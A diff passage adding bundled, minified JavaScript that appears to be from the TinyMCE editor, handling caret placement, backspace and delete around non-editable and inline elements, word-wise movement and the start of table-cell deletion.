+    return $_3b9u2y1rjjgwe7qe.isElement(elm) && elm.getAttribute('data-mce-caret') === caretLocation;
+  };
+  var isDeleteFromCefDifferentBlocks = function (root, forward, from, to) {
+    var inSameBlock = function (elm) {
+      return isInline(Element$$1.fromDom(elm)) && !isInSameBlock(from, to, root);
+    };
+    return getRelativeCefElm(!forward, from).fold(function () {
+      return getRelativeCefElm(forward, to).fold(constant(false), inSameBlock);
+    }, inSameBlock);
+  };
+  var deleteEmptyBlockOrMoveToCef = function (root, forward, from, to) {
+    var toCefElm = to.getNode(forward === false);
+    return $_3vi93f3sjjgwe861.getParentBlock(Element$$1.fromDom(root), Element$$1.fromDom(from.getNode())).map(function (blockElm) {
+      return $_99xuux3wjjgwe8as.isEmpty(blockElm) ? DeleteAction.remove(blockElm.dom()) : DeleteAction.moveToElement(toCefElm);
+    }).orThunk(function () {
+      return Option.some(DeleteAction.moveToElement(toCefElm));
+    });
+  };
+  var findCefPosition = function (root, forward, from) {
+    return $_8q1ver2yjjgwe7z3.fromPosition(forward, root, from).bind(function (to) {
+      if (isCompoundElement(to.getNode())) {
+        return Option.none();
+      } else if (isDeleteFromCefDifferentBlocks(root, forward, from, to)) {
+        return Option.none();
+      } else if (forward && $_3b9u2y1rjjgwe7qe.isContentEditableFalse(to.getNode())) {
+        return deleteEmptyBlockOrMoveToCef(root, forward, from, to);
+      } else if (forward === false && $_3b9u2y1rjjgwe7qe.isContentEditableFalse(to.getNode(true))) {
+        return deleteEmptyBlockOrMoveToCef(root, forward, from, to);
+      } else if (forward && isAfterContentEditableFalse(from)) {
+        return Option.some(DeleteAction.moveToPosition(to));
+      } else if (forward === false && isBeforeContentEditableFalse(from)) {
+        return Option.some(DeleteAction.moveToPosition(to));
+      } else {
+        return Option.none();
+      }
+    });
+  };
+  var getContentEditableBlockAction = function (forward, elm) {
+    if (forward && $_3b9u2y1rjjgwe7qe.isContentEditableFalse(elm.nextSibling)) {
+      return Option.some(DeleteAction.moveToElement(elm.nextSibling));
+    } else if (forward === false && $_3b9u2y1rjjgwe7qe.isContentEditableFalse(elm.previousSibling)) {
+      return Option.some(DeleteAction.moveToElement(elm.previousSibling));
+    } else {
+      return Option.none();
+    }
+  };
+  var skipMoveToActionFromInlineCefToContent = function (root, from, deleteAction) {
+    return deleteAction.fold(function (elm) {
+      return Option.some(DeleteAction.remove(elm));
+    }, function (elm) {
+      return Option.some(DeleteAction.moveToElement(elm));
+    }, function (to) {
+      if (isInSameBlock(from, to, root)) {
+        return Option.none();
+      } else {
+        return Option.some(DeleteAction.moveToPosition(to));
+      }
+    });
+  };
+  var getContentEditableAction = function (root, forward, from) {
+    if (isAtContentEditableBlockCaret(forward, from)) {
+      return getContentEditableBlockAction(forward, from.getNode(forward === false)).fold(function () {
+        return findCefPosition(root, forward, from);
+      }, Option.some);
+    } else {
+      return findCefPosition(root, forward, from).bind(function (deleteAction) {
+        return skipMoveToActionFromInlineCefToContent(root, from, deleteAction);
+      });
+    }
+  };
+  var read$2 = function (root, forward, rng) {
+    var normalizedRange = normalizeRange(forward ? 1 : -1, root, rng);
+    var from = CaretPosition$1.fromRangeStart(normalizedRange);
+    if (forward === false && isAfterContentEditableFalse(from)) {
+      return Option.some(DeleteAction.remove(from.getNode(true)));
+    } else if (forward && isBeforeContentEditableFalse(from)) {
+      return Option.some(DeleteAction.remove(from.getNode()));
+    } else {
+      return getContentEditableAction(root, forward, from);
+    }
+  };
+
+  var needsReposition = function (pos, elm) {
+    var container = pos.container();
+    var offset = pos.offset();
+    return CaretPosition$1.isTextPosition(pos) === false && container === elm.parentNode && offset > CaretPosition$1.before(elm).offset();
+  };
+  var reposition = function (elm, pos) {
+    return needsReposition(pos, elm) ? CaretPosition$1(pos.container(), pos.offset() - 1) : pos;
+  };
+  var beforeOrStartOf = function (node) {
+    return $_3b9u2y1rjjgwe7qe.isText(node) ? CaretPosition$1(node, 0) : CaretPosition$1.before(node);
+  };
+  var afterOrEndOf = function (node) {
+    return $_3b9u2y1rjjgwe7qe.isText(node) ? CaretPosition$1(node, node.data.length) : CaretPosition$1.after(node);
+  };
+  var getPreviousSiblingCaretPosition = function (elm) {
+    if (isCaretCandidate(elm.previousSibling)) {
+      return Option.some(afterOrEndOf(elm.previousSibling));
+    } else {
+      return elm.previousSibling ? $_8q1ver2yjjgwe7z3.lastPositionIn(elm.previousSibling) : Option.none();
+    }
+  };
+  var getNextSiblingCaretPosition = function (elm) {
+    if (isCaretCandidate(elm.nextSibling)) {
+      return Option.some(beforeOrStartOf(elm.nextSibling));
+    } else {
+      return elm.nextSibling ? $_8q1ver2yjjgwe7z3.firstPositionIn(elm.nextSibling) : Option.none();
+    }
+  };
+  var findCaretPositionBackwardsFromElm = function (rootElement, elm) {
+    var startPosition = CaretPosition$1.before(elm.previousSibling ? elm.previousSibling : elm.parentNode);
+    return $_8q1ver2yjjgwe7z3.prevPosition(rootElement, startPosition).fold(function () {
+      return $_8q1ver2yjjgwe7z3.nextPosition(rootElement, CaretPosition$1.after(elm));
+    }, Option.some);
+  };
+  var findCaretPositionForwardsFromElm = function (rootElement, elm) {
+    return $_8q1ver2yjjgwe7z3.nextPosition(rootElement, CaretPosition$1.after(elm)).fold(function () {
+      return $_8q1ver2yjjgwe7z3.prevPosition(rootElement, CaretPosition$1.before(elm));
+    }, Option.some);
+  };
+  var findCaretPositionBackwards = function (rootElement, elm) {
+    return getPreviousSiblingCaretPosition(elm).orThunk(function () {
+      return getNextSiblingCaretPosition(elm);
+    }).orThunk(function () {
+      return findCaretPositionBackwardsFromElm(rootElement, elm);
+    });
+  };
+  var findCaretPositionForward = function (rootElement, elm) {
+    return getNextSiblingCaretPosition(elm).orThunk(function () {
+      return getPreviousSiblingCaretPosition(elm);
+    }).orThunk(function () {
+      return findCaretPositionForwardsFromElm(rootElement, elm);
+    });
+  };
+  var findCaretPosition$1 = function (forward, rootElement, elm) {
+    return forward ? findCaretPositionForward(rootElement, elm) : findCaretPositionBackwards(rootElement, elm);
+  };
+  var findCaretPosOutsideElmAfterDelete = function (forward, rootElement, elm) {
+    return findCaretPosition$1(forward, rootElement, elm).map(curry(reposition, elm));
+  };
+  var setSelection = function (editor, forward, pos) {
+    pos.fold(function () {
+      editor.focus();
+    }, function (pos) {
+      editor.selection.setRng(pos.toRange(), forward);
+    });
+  };
+  var eqRawNode = function (rawNode) {
+    return function (elm) {
+      return elm.dom() === rawNode;
+    };
+  };
+  var isBlock$2 = function (editor, elm) {
+    return elm && editor.schema.getBlockElements().hasOwnProperty($_fxxo5411jjgwe7lq.name(elm));
+  };
+  var paddEmptyBlock = function (elm) {
+    if ($_99xuux3wjjgwe8as.isEmpty(elm)) {
+      var br = Element$$1.fromHtml('<br data-mce-bogus="1">');
+      $_81exq51wjjgwe7sm.empty(elm);
+      $_ewo3u51yjjgwe7su.append(elm, br);
+      return Option.some(CaretPosition$1.before(br.dom()));
+    } else {
+      return Option.none();
+    }
+  };
+  var deleteNormalized = function (elm, afterDeletePosOpt) {
+    return liftN([
+      $_d3rmjp18jjgwe7nc.prevSibling(elm),
+      $_d3rmjp18jjgwe7nc.nextSibling(elm),
+      afterDeletePosOpt
+    ], function (prev, next, afterDeletePos) {
+      var offset;
+      var prevNode = prev.dom();
+      var nextNode = next.dom();
+      if ($_3b9u2y1rjjgwe7qe.isText(prevNode) && $_3b9u2y1rjjgwe7qe.isText(nextNode)) {
+        offset = prevNode.data.length;
+        prevNode.appendData(nextNode.data);
+        $_81exq51wjjgwe7sm.remove(next);
+        $_81exq51wjjgwe7sm.remove(elm);
+        if (afterDeletePos.container() === nextNode) {
+          return CaretPosition$1(prevNode, offset);
+        } else {
+          return afterDeletePos;
+        }
+      } else {
+        $_81exq51wjjgwe7sm.remove(elm);
+        return afterDeletePos;
+      }
+    }).orThunk(function () {
+      $_81exq51wjjgwe7sm.remove(elm);
+      return afterDeletePosOpt;
+    });
+  };
+  var deleteElement = function (editor, forward, elm) {
+    var afterDeletePos = findCaretPosOutsideElmAfterDelete(forward, editor.getBody(), elm.dom());
+    var parentBlock = $_7kjxyh2ajjgwe7un.ancestor(elm, curry(isBlock$2, editor), eqRawNode(editor.getBody()));
+    var normalizedAfterDeletePos = deleteNormalized(elm, afterDeletePos);
+    if (editor.dom.isEmpty(editor.getBody())) {
+      editor.setContent('');
+      editor.selection.setCursorLocation();
+    } else {
+      parentBlock.bind(paddEmptyBlock).fold(function () {
+        setSelection(editor, forward, normalizedAfterDeletePos);
+      }, function (paddPos) {
+        setSelection(editor, forward, Option.some(paddPos));
+      });
+    }
+  };
+  var $_eg6ib44jjgwe8ck = { deleteElement: deleteElement };
+
+  var deleteElement$1 = function (editor, forward) {
+    return function (element) {
+      editor._selectionOverrides.hideFakeCaret();
+      $_eg6ib44jjgwe8ck.deleteElement(editor, forward, Element$$1.fromDom(element));
+      return true;
+    };
+  };
+  var moveToElement = function (editor, forward) {
+    return function (element) {
+      var pos = forward ? CaretPosition$1.before(element) : CaretPosition$1.after(element);
+      editor.selection.setRng(pos.toRange());
+      return true;
+    };
+  };
+  var moveToPosition = function (editor) {
+    return function (pos) {
+      editor.selection.setRng(pos.toRange());
+      return true;
+    };
+  };
+  var backspaceDeleteCaret = function (editor, forward) {
+    var result = read$2(editor.getBody(), forward, editor.selection.getRng()).map(function (deleteAction) {
+      return deleteAction.fold(deleteElement$1(editor, forward), moveToElement(editor, forward), moveToPosition(editor));
+    });
+    return result.getOr(false);
+  };
+  var deleteOffscreenSelection = function (rootElement) {
+    each($_d3ydn427jjgwe7uf.descendants(rootElement, '.mce-offscreen-selection'), $_81exq51wjjgwe7sm.remove);
+  };
+  var backspaceDeleteRange = function (editor, forward) {
+    var selectedElement = editor.selection.getNode();
+    if ($_3b9u2y1rjjgwe7qe.isContentEditableFalse(selectedElement)) {
+      deleteOffscreenSelection(Element$$1.fromDom(editor.getBody()));
+      $_eg6ib44jjgwe8ck.deleteElement(editor, forward, Element$$1.fromDom(editor.selection.getNode()));
+      $_3vi93f3sjjgwe861.paddEmptyBody(editor);
+      return true;
+    } else {
+      return false;
+    }
+  };
+  var getContentEditableRoot = function (root, node) {
+    while (node && node !== root) {
+      if ($_3b9u2y1rjjgwe7qe.isContentEditableTrue(node) || $_3b9u2y1rjjgwe7qe.isContentEditableFalse(node)) {
+        return node;
+      }
+      node = node.parentNode;
+    }
+    return null;
+  };
+  var paddEmptyElement = function (editor) {
+    var br;
+    var ceRoot = getContentEditableRoot(editor.getBody(), editor.selection.getNode());
+    if ($_3b9u2y1rjjgwe7qe.isContentEditableTrue(ceRoot) && editor.dom.isBlock(ceRoot) && editor.dom.isEmpty(ceRoot)) {
+      br = editor.dom.create('br', { 'data-mce-bogus': '1' });
+      editor.dom.setHTML(ceRoot, '');
+      ceRoot.appendChild(br);
+      editor.selection.setRng(CaretPosition$1.before(br).toRange());
+    }
+    return true;
+  };
+  var backspaceDelete$2 = function (editor, forward) {
+    if (editor.selection.isCollapsed()) {
+      return backspaceDeleteCaret(editor, forward);
+    } else {
+      return backspaceDeleteRange(editor, forward);
+    }
+  };
+  var $_cc2jel41jjgwe8bx = {
+    backspaceDelete: backspaceDelete$2,
+    paddEmptyElement: paddEmptyElement
+  };
+
+  var isText$8 = $_3b9u2y1rjjgwe7qe.isText;
+  var startsWithCaretContainer$1 = function (node) {
+    return isText$8(node) && node.data[0] === $_2xw7ul2pjjgwe7xs.ZWSP;
+  };
+  var endsWithCaretContainer$1 = function (node) {
+    return isText$8(node) && node.data[node.data.length - 1] === $_2xw7ul2pjjgwe7xs.ZWSP;
+  };
+  var createZwsp = function (node) {
+    return node.ownerDocument.createTextNode($_2xw7ul2pjjgwe7xs.ZWSP);
+  };
+  var insertBefore$1 = function (node) {
+    if (isText$8(node.previousSibling)) {
+      if (endsWithCaretContainer$1(node.previousSibling)) {
+        return node.previousSibling;
+      } else {
+        node.previousSibling.appendData($_2xw7ul2pjjgwe7xs.ZWSP);
+        return node.previousSibling;
+      }
+    } else if (isText$8(node)) {
+      if (startsWithCaretContainer$1(node)) {
+        return node;
+      } else {
+        node.insertData(0, $_2xw7ul2pjjgwe7xs.ZWSP);
+        return node;
+      }
+    } else {
+      var newNode = createZwsp(node);
+      node.parentNode.insertBefore(newNode, node);
+      return newNode;
+    }
+  };
+  var insertAfter$1 = function (node) {
+    if (isText$8(node.nextSibling)) {
+      if (startsWithCaretContainer$1(node.nextSibling)) {
+        return node.nextSibling;
+      } else {
+        node.nextSibling.insertData(0, $_2xw7ul2pjjgwe7xs.ZWSP);
+        return node.nextSibling;
+      }
+    } else if (isText$8(node)) {
+      if (endsWithCaretContainer$1(node)) {
+        return node;
+      } else {
+        node.appendData($_2xw7ul2pjjgwe7xs.ZWSP);
+        return node;
+      }
+    } else {
+      var newNode = createZwsp(node);
+      if (node.nextSibling) {
+        node.parentNode.insertBefore(newNode, node.nextSibling);
+      } else {
+        node.parentNode.appendChild(newNode);
+      }
+      return newNode;
+    }
+  };
+  var insertInline$1 = function (before, node) {
+    return before ? insertBefore$1(node) : insertAfter$1(node);
+  };
+  var insertInlineBefore = curry(insertInline$1, true);
+  var insertInlineAfter = curry(insertInline$1, false);
+
+  var insertInlinePos = function (pos, before) {
+    if ($_3b9u2y1rjjgwe7qe.isText(pos.container())) {
+      return insertInline$1(before, pos.container());
+    } else {
+      return insertInline$1(before, pos.getNode());
+    }
+  };
+  var isPosCaretContainer = function (pos, caret) {
+    var caretNode = caret.get();
+    return caretNode && pos.container() === caretNode && isCaretContainerInline(caretNode);
+  };
+  var renderCaret = function (caret, location) {
+    return location.fold(function (element) {
+      $_cueauu31jjgwe7zy.remove(caret.get());
+      var text = insertInlineBefore(element);
+      caret.set(text);
+      return Option.some(CaretPosition$1(text, text.length - 1));
+    }, function (element) {
+      return $_8q1ver2yjjgwe7z3.firstPositionIn(element).map(function (pos) {
+        if (!isPosCaretContainer(pos, caret)) {
+          $_cueauu31jjgwe7zy.remove(caret.get());
+          var text = insertInlinePos(pos, true);
+          caret.set(text);
+          return CaretPosition$1(text, 1);
+        } else {
+          return CaretPosition$1(caret.get(), 1);
+        }
+      });
+    }, function (element) {
+      return $_8q1ver2yjjgwe7z3.lastPositionIn(element).map(function (pos) {
+        if (!isPosCaretContainer(pos, caret)) {
+          $_cueauu31jjgwe7zy.remove(caret.get());
+          var text = insertInlinePos(pos, false);
+          caret.set(text);
+          return CaretPosition$1(text, text.length - 1);
+        } else {
+          return CaretPosition$1(caret.get(), caret.get().length - 1);
+        }
+      });
+    }, function (element) {
+      $_cueauu31jjgwe7zy.remove(caret.get());
+      var text = insertInlineAfter(element);
+      caret.set(text);
+      return Option.some(CaretPosition$1(text, 1));
+    });
+  };
+  var $_huqsd46jjgwe8de = { renderCaret: renderCaret };
+
+  var evaluateUntil = function (fns, args) {
+    for (var i = 0; i < fns.length; i++) {
+      var result = fns[i].apply(null, args);
+      if (result.isSome()) {
+        return result;
+      }
+    }
+    return Option.none();
+  };
+  var $_2racda49jjgwe8dz = { evaluateUntil: evaluateUntil };
+
+  var Location = Adt.generate([
+    { before: ['element'] },
+    { start: ['element'] },
+    { end: ['element'] },
+    { after: ['element'] }
+  ]);
+  var rescope = function (rootNode, node) {
+    var parentBlock = getParentBlock(node, rootNode);
+    return parentBlock ? parentBlock : rootNode;
+  };
+  var before$3 = function (isInlineTarget, rootNode, pos) {
+    var nPos = $_av9utf3tjjgwe86b.normalizeForwards(pos);
+    var scope = rescope(rootNode, nPos.container());
+    return $_av9utf3tjjgwe86b.findRootInline(isInlineTarget, scope, nPos).fold(function () {
+      return $_8q1ver2yjjgwe7z3.nextPosition(scope, nPos).bind(curry($_av9utf3tjjgwe86b.findRootInline, isInlineTarget, scope)).map(function (inline) {
+        return Location.before(inline);
+      });
+    }, Option.none);
+  };
+  var isNotInsideFormatCaretContainer = function (rootNode, elm) {
+    return getParentCaretContainer(rootNode, elm) === null;
+  };
+  var findInsideRootInline = function (isInlineTarget, rootNode, pos) {
+    return $_av9utf3tjjgwe86b.findRootInline(isInlineTarget, rootNode, pos).filter(curry(isNotInsideFormatCaretContainer, rootNode));
+  };
+  var start = function (isInlineTarget, rootNode, pos) {
+    var nPos = $_av9utf3tjjgwe86b.normalizeBackwards(pos);
+    return findInsideRootInline(isInlineTarget, rootNode, nPos).bind(function (inline) {
+      var prevPos = $_8q1ver2yjjgwe7z3.prevPosition(inline, nPos);
+      return prevPos.isNone() ? Option.some(Location.start(inline)) : Option.none();
+    });
+  };
+  var end = function (isInlineTarget, rootNode, pos) {
+    var nPos = $_av9utf3tjjgwe86b.normalizeForwards(pos);
+    return findInsideRootInline(isInlineTarget, rootNode, nPos).bind(function (inline) {
+      var nextPos = $_8q1ver2yjjgwe7z3.nextPosition(inline, nPos);
+      return nextPos.isNone() ? Option.some(Location.end(inline)) : Option.none();
+    });
+  };
+  var after$3 = function (isInlineTarget, rootNode, pos) {
+    var nPos = $_av9utf3tjjgwe86b.normalizeBackwards(pos);
+    var scope = rescope(rootNode, nPos.container());
+    return $_av9utf3tjjgwe86b.findRootInline(isInlineTarget, scope, nPos).fold(function () {
+      return $_8q1ver2yjjgwe7z3.prevPosition(scope, nPos).bind(curry($_av9utf3tjjgwe86b.findRootInline, isInlineTarget, scope)).map(function (inline) {
+        return Location.after(inline);
+      });
+    }, Option.none);
+  };
+  var isValidLocation = function (location) {
+    return $_av9utf3tjjgwe86b.isRtl(getElement(location)) === false;
+  };
+  var readLocation = function (isInlineTarget, rootNode, pos) {
+    var location = $_2racda49jjgwe8dz.evaluateUntil([
+      before$3,
+      start,
+      end,
+      after$3
+    ], [
+      isInlineTarget,
+      rootNode,
+      pos
+    ]);
+    return location.filter(isValidLocation);
+  };
+  var getElement = function (location) {
+    return location.fold(identity, identity, identity, identity);
+  };
+  var getName = function (location) {
+    return location.fold(constant('before'), constant('start'), constant('end'), constant('after'));
+  };
+  var outside = function (location) {
+    return location.fold(Location.before, Location.before, Location.after, Location.after);
+  };
+  var inside = function (location) {
+    return location.fold(Location.start, Location.start, Location.end, Location.end);
+  };
+  var isEq$1 = function (location1, location2) {
+    return getName(location1) === getName(location2) && getElement(location1) === getElement(location2);
+  };
+  var betweenInlines = function (forward, isInlineTarget, rootNode, from, to, location) {
+    return liftN([
+      $_av9utf3tjjgwe86b.findRootInline(isInlineTarget, rootNode, from),
+      $_av9utf3tjjgwe86b.findRootInline(isInlineTarget, rootNode, to)
+    ], function (fromInline, toInline) {
+      if (fromInline !== toInline && $_av9utf3tjjgwe86b.hasSameParentBlock(rootNode, fromInline, toInline)) {
+        return Location.after(forward ? fromInline : toInline);
+      } else {
+        return location;
+      }
+    }).getOr(location);
+  };
+  var skipNoMovement = function (fromLocation, toLocation) {
+    return fromLocation.fold(constant(true), function (fromLocation) {
+      return !isEq$1(fromLocation, toLocation);
+    });
+  };
+  var findLocationTraverse = function (forward, isInlineTarget, rootNode, fromLocation, pos) {
+    var from = $_av9utf3tjjgwe86b.normalizePosition(forward, pos);
+    var to = $_8q1ver2yjjgwe7z3.fromPosition(forward, rootNode, from).map(curry($_av9utf3tjjgwe86b.normalizePosition, forward));
+    var location = to.fold(function () {
+      return fromLocation.map(outside);
+    }, function (to) {
+      return readLocation(isInlineTarget, rootNode, to).map(curry(betweenInlines, forward, isInlineTarget, rootNode, from, to)).filter(curry(skipNoMovement, fromLocation));
+    });
+    return location.filter(isValidLocation);
+  };
+  var findLocationSimple = function (forward, location) {
+    if (forward) {
+      return location.fold(compose(Option.some, Location.start), Option.none, compose(Option.some, Location.after), Option.none);
+    } else {
+      return location.fold(Option.none, compose(Option.some, Location.before), Option.none, compose(Option.some, Location.end));
+    }
+  };
+  var findLocation = function (forward, isInlineTarget, rootNode, pos) {
+    var from = $_av9utf3tjjgwe86b.normalizePosition(forward, pos);
+    var fromLocation = readLocation(isInlineTarget, rootNode, from);
+    return readLocation(isInlineTarget, rootNode, from).bind(curry(findLocationSimple, forward)).orThunk(function () {
+      return findLocationTraverse(forward, isInlineTarget, rootNode, fromLocation, pos);
+    });
+  };
+  var $_g20q2x48jjgwe8dp = {
+    readLocation: readLocation,
+    findLocation: findLocation,
+    prevLocation: curry(findLocation, false),
+    nextLocation: curry(findLocation, true),
+    getElement: getElement,
+    outside: outside,
+    inside: inside
+  };
+
+  var hasSelectionModifyApi = function (editor) {
+    return isFunction(editor.selection.getSel().modify);
+  };
+  var moveRel = function (forward, selection, pos) {
+    var delta = forward ? 1 : -1;
+    selection.setRng(CaretPosition$1(pos.container(), pos.offset() + delta).toRange());
+    selection.getSel().modify('move', forward ? 'forward' : 'backward', 'word');
+    return true;
+  };
+  var moveByWord = function (forward, editor) {
+    var rng = editor.selection.getRng();
+    var pos = forward ? CaretPosition$1.fromRangeEnd(rng) : CaretPosition$1.fromRangeStart(rng);
+    if (!hasSelectionModifyApi(editor)) {
+      return false;
+    } else if (forward && isBeforeInline(pos)) {
+      return moveRel(true, editor.selection, pos);
+    } else if (!forward && isAfterInline(pos)) {
+      return moveRel(false, editor.selection, pos);
+    } else {
+      return false;
+    }
+  };
+  var $_c544rm4bjjgwe8ea = {
+    hasSelectionModifyApi: hasSelectionModifyApi,
+    moveByWord: moveByWord
+  };
+
+  var setCaretPosition = function (editor, pos) {
+    var rng = editor.dom.createRng();
+    rng.setStart(pos.container(), pos.offset());
+    rng.setEnd(pos.container(), pos.offset());
+    editor.selection.setRng(rng);
+  };
+  var isFeatureEnabled = function (editor) {
+    return editor.settings.inline_boundaries !== false;
+  };
+  var setSelected = function (state, elm) {
+    if (state) {
+      elm.setAttribute('data-mce-selected', 'inline-boundary');
+    } else {
+      elm.removeAttribute('data-mce-selected');
+    }
+  };
+  var renderCaretLocation = function (editor, caret, location) {
+    return $_huqsd46jjgwe8de.renderCaret(caret, location).map(function (pos) {
+      setCaretPosition(editor, pos);
+      return location;
+    });
+  };
+  var findLocation$1 = function (editor, caret, forward) {
+    var rootNode = editor.getBody();
+    var from = CaretPosition$1.fromRangeStart(editor.selection.getRng());
+    var isInlineTarget = curry($_av9utf3tjjgwe86b.isInlineTarget, editor);
+    var location = $_g20q2x48jjgwe8dp.findLocation(forward, isInlineTarget, rootNode, from);
+    return location.bind(function (location) {
+      return renderCaretLocation(editor, caret, location);
+    });
+  };
+  var toggleInlines = function (isInlineTarget, dom, elms) {
+    var selectedInlines = filter(dom.select('*[data-mce-selected="inline-boundary"]'), isInlineTarget);
+    var targetInlines = filter(elms, isInlineTarget);
+    each(difference(selectedInlines, targetInlines), curry(setSelected, false));
+    each(difference(targetInlines, selectedInlines), curry(setSelected, true));
+  };
+  var safeRemoveCaretContainer = function (editor, caret) {
+    if (editor.selection.isCollapsed() && editor.composing !== true && caret.get()) {
+      var pos = CaretPosition$1.fromRangeStart(editor.selection.getRng());
+      if (CaretPosition$1.isTextPosition(pos) && $_av9utf3tjjgwe86b.isAtZwsp(pos) === false) {
+        setCaretPosition(editor, $_cueauu31jjgwe7zy.removeAndReposition(caret.get(), pos));
+        caret.set(null);
+      }
+    }
+  };
+  var renderInsideInlineCaret = function (isInlineTarget, editor, caret, elms) {
+    if (editor.selection.isCollapsed()) {
+      var inlines = filter(elms, isInlineTarget);
+      each(inlines, function (inline) {
+        var pos = CaretPosition$1.fromRangeStart(editor.selection.getRng());
+        $_g20q2x48jjgwe8dp.readLocation(isInlineTarget, editor.getBody(), pos).bind(function (location) {
+          return renderCaretLocation(editor, caret, location);
+        });
+      });
+    }
+  };
+  var move = function (editor, caret, forward) {
+    return function () {
+      return isFeatureEnabled(editor) ? findLocation$1(editor, caret, forward).isSome() : false;
+    };
+  };
+  var moveWord = function (forward, editor, caret) {
+    return function () {
+      return isFeatureEnabled(editor) ? $_c544rm4bjjgwe8ea.moveByWord(forward, editor) : false;
+    };
+  };
+  var setupSelectedState = function (editor) {
+    var caret = Cell(null);
+    var isInlineTarget = curry($_av9utf3tjjgwe86b.isInlineTarget, editor);
+    editor.on('NodeChange', function (e) {
+      if (isFeatureEnabled(editor)) {
+        toggleInlines(isInlineTarget, editor.dom, e.parents);
+        safeRemoveCaretContainer(editor, caret);
+        renderInsideInlineCaret(isInlineTarget, editor, caret, e.parents);
+      }
+    });
+    return caret;
+  };
+  var moveNextWord = curry(moveWord, true);
+  var movePrevWord = curry(moveWord, false);
+  var $_80ia3a4ajjgwe8e2 = {
+    move: move,
+    moveNextWord: moveNextWord,
+    movePrevWord: movePrevWord,
+    setupSelectedState: setupSelectedState,
+    setCaretPosition: setCaretPosition
+  };
+
+  var isFeatureEnabled$1 = function (editor) {
+    return editor.settings.inline_boundaries !== false;
+  };
+  var rangeFromPositions = function (from, to) {
+    var range = document.createRange();
+    range.setStart(from.container(), from.offset());
+    range.setEnd(to.container(), to.offset());
+    return range;
+  };
+  var hasOnlyTwoOrLessPositionsLeft = function (elm) {
+    return liftN([
+      $_8q1ver2yjjgwe7z3.firstPositionIn(elm),
+      $_8q1ver2yjjgwe7z3.lastPositionIn(elm)
+    ], function (firstPos, lastPos) {
+      var normalizedFirstPos = $_av9utf3tjjgwe86b.normalizePosition(true, firstPos);
+      var normalizedLastPos = $_av9utf3tjjgwe86b.normalizePosition(false, lastPos);
+      return $_8q1ver2yjjgwe7z3.nextPosition(elm, normalizedFirstPos).map(function (pos) {
+        return pos.isEqual(normalizedLastPos);
+      }).getOr(true);
+    }).getOr(true);
+  };
+  var setCaretLocation = function (editor, caret) {
+    return function (location$$1) {
+      return $_huqsd46jjgwe8de.renderCaret(caret, location$$1).map(function (pos) {
+        $_80ia3a4ajjgwe8e2.setCaretPosition(editor, pos);
+        return true;
+      }).getOr(false);
+    };
+  };
+  var deleteFromTo = function (editor, caret, from, to) {
+    var rootNode = editor.getBody();
+    var isInlineTarget = curry($_av9utf3tjjgwe86b.isInlineTarget, editor);
+    editor.undoManager.ignore(function () {
+      editor.selection.setRng(rangeFromPositions(from, to));
+      editor.execCommand('Delete');
+      $_g20q2x48jjgwe8dp.readLocation(isInlineTarget, rootNode, CaretPosition$1.fromRangeStart(editor.selection.getRng())).map($_g20q2x48jjgwe8dp.inside).map(setCaretLocation(editor, caret));
+    });
+    editor.nodeChanged();
+  };
+  var rescope$1 = function (rootNode, node) {
+    var parentBlock = getParentBlock(node, rootNode);
+    return parentBlock ? parentBlock : rootNode;
+  };
+  var backspaceDeleteCollapsed = function (editor, caret, forward, from) {
+    var rootNode = rescope$1(editor.getBody(), from.container());
+    var isInlineTarget = curry($_av9utf3tjjgwe86b.isInlineTarget, editor);
+    var fromLocation = $_g20q2x48jjgwe8dp.readLocation(isInlineTarget, rootNode, from);
+    return fromLocation.bind(function (location$$1) {
+      if (forward) {
+        return location$$1.fold(constant(Option.some($_g20q2x48jjgwe8dp.inside(location$$1))), Option.none, constant(Option.some($_g20q2x48jjgwe8dp.outside(location$$1))), Option.none);
+      } else {
+        return location$$1.fold(Option.none, constant(Option.some($_g20q2x48jjgwe8dp.outside(location$$1))), Option.none, constant(Option.some($_g20q2x48jjgwe8dp.inside(location$$1))));
+      }
+    }).map(setCaretLocation(editor, caret)).getOrThunk(function () {
+      var toPosition = $_8q1ver2yjjgwe7z3.navigate(forward, rootNode, from);
+      var toLocation = toPosition.bind(function (pos) {
+        return $_g20q2x48jjgwe8dp.readLocation(isInlineTarget, rootNode, pos);
+      });
+      if (fromLocation.isSome() && toLocation.isSome()) {
+        return $_av9utf3tjjgwe86b.findRootInline(isInlineTarget, rootNode, from).map(function (elm) {
+          if (hasOnlyTwoOrLessPositionsLeft(elm)) {
+            $_eg6ib44jjgwe8ck.deleteElement(editor, forward, Element$$1.fromDom(elm));
+            return true;
+          } else {
+            return false;
+          }
+        }).getOr(false);
+      } else {
+        return toLocation.bind(function (_) {
+          return toPosition.map(function (to) {
+            if (forward) {
+              deleteFromTo(editor, caret, from, to);
+            } else {
+              deleteFromTo(editor, caret, to, from);
+            }
+            return true;
+          });
+        }).getOr(false);
+      }
+    });
+  };
+  var backspaceDelete$3 = function (editor, caret, forward) {
+    if (editor.selection.isCollapsed() && isFeatureEnabled$1(editor)) {
+      var from = CaretPosition$1.fromRangeStart(editor.selection.getRng());
+      return backspaceDeleteCollapsed(editor, caret, forward, from);
+    }
+    return false;
+  };
+  var $_fwrmt445jjgwe8d5 = { backspaceDelete: backspaceDelete$3 };
+
+  var tableCellRng = Immutable('start', 'end');
+  var tableSelection = Immutable('rng', 'table', 'cells');
+  var deleteAction = Adt.generate([
+    { removeTable: ['element'] },
+    { emptyCells: ['cells'] }
+  ]);
+  var isRootFromElement = function (root) {
+    return curry($_5raon11ejjgwe7o5.eq, root);
+  };
+  var getClosestCell$1 = function (container, isRoot) {
+    return $_ajwe9029jjgwe7ul.closest(Element$$1.fromDom(container), 'td,th', isRoot);
+  };
+  var getClosestTable = function (cell, isRoot) {
+    return $_ajwe9029jjgwe7ul.ancestor(cell, 'table', isRoot);
+  };
+  var isExpandedCellRng = function (cellRng) {
+    return $_5raon11ejjgwe7o5.eq(cellRng.start(), cellRng.end()) === false;
+  };
+  var getTableFromCellRng = function (cellRng, isRoot) {
+    return getClosestTable(cellRng.start(), isRoot).bind(function (startParentTable) {
+      return getClosestTable(cellRng.end(), isRoot).bind(function (endParentTable) {
+        return $_5raon11ejjgwe7o5.eq(startParentTable, endParentTable) ? Option.some(startParentTable) : Option.none();
+      });
+    });
+  };
+  var getTableCells = function (table) {
+    return $_d3ydn427jjgwe7uf.descendants(table, 'td,th');
+  };
+  var getCellRangeFromStartTable = function (cellRng, isRoot) {
+    return getClosestTable(cellRng.start(), isRoot).bind(function (table) {
+      return last(getTableCells(table)).map(function (endCell) {
+        return tableCellRng(cellRng.start(), endCell);
+      });
+    });
+  };
+  var partialSelection = function (isRoot, rng) {
